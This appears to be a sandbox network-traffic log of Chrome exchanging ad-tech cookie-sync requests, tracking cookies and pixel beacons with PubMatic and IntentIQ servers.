KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	781	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:27 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:27 GMT; path=/ Set-Cookie: PugT=1704929247; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:27 GMT; path=/ Location: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.4	50426	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3787	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	604	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.4	50429	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3742	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=968062845637553879 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	582	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_18=22947-968062845637553879; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.4	50430	8.28.7.81	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3639	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=24495249&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; PugT=1704929246; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:27 UTC	1118	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=4; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=159463:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 1648 Connection: close
2024-01-10 23:27:27 UTC	1648	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 62 70 69 2e 72 74 61 63 74 69 76 61 74 65 2e 63 6f 6d 2f 74 61 67 2f 3f 69 64 3d 32 30 39 30 39 26 75 73 65 72 5f 69 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 34 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 37 35 31 34 35 3f 62 69 64 64 65 72 5f 69 64 3d 31 39 35 37 35 35 26 62 69 64 64 65 72 5f 75 75 69 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 Data Ascii: PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=AF1A30B0-24B8-476E-AED4-BE8DC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.4	50432	13.249.39.104	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	689	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LR8EUG12-1F-5JG4 HTTP/1.1 Host: sync.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:27 UTC	1032	IN	HTTP/1.1 302 Content-Type: image/gif Content-Length: 43 Connection: close Date: Wed, 10 Jan 2024 23:27:27 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:27 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Location: https://sync1.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LR8EUG12-1F-5JG4&ckls=true&ci=OTFG5Uc4GZ&nc=false&trid=1840002933 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Patent: https://www.almondnet.com/ip Set-Cookie: intentIQ=OTFG5Uc4GZ; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:27 GMT; Path=/; Secure; SameSite=None X-Cache: Miss from cloudfront Via: 1.1 936f33bed45438343f0ef2adff442814.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 5mWbTeymTOk9BwzV5IMJvy1oAzG7SETAUQvFMOciiuNuxiDvIWmWnA==
2024-01-10 23:27:27 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.4	50431	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3547	OUT	GET /AdServer/SPug?partnerID=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; 